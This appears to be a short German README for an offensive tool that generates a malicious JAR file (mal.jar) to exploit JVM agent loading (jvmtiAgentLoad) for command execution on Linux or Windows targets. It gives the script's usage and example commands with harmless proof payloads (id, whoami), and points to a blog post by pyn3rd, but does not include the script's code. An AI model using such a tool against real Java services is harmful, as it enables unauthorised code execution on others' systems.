
Tools und Code zum Generieren einer bösartigen JAR-Datei, um jvmtiAgentLoad auszunutzen.
Tools und Code zum Erzeugen eines bösartigen JAR, um jvmtiAgentLoad auszunutzen
$ bash create_jar.sh
Usage: create_jar.sh <TARGET_OS> <COMMAND>
Supported TARGET_OS options: linux|windows
Der folgende Befehl erzeugt ein JAR (mal.jar), das auf einem Linux-Ziel verwendet werden kann:
bash create_jar.sh linux 'id > /tmp/jvmtiLoadAgent_test'
Der folgende Befehl erzeugt ein JAR (mal.jar), das auf einem Windows-Ziel verwendet werden kann:
bash create_jar.sh windows 'whoami > C:\\Users\\Public\\jvmtiLoadAgent_test.txt'
Blogbeitrag darüber, wie der jvmtiAgentLoad-Exploit funktioniert, von pyn3rd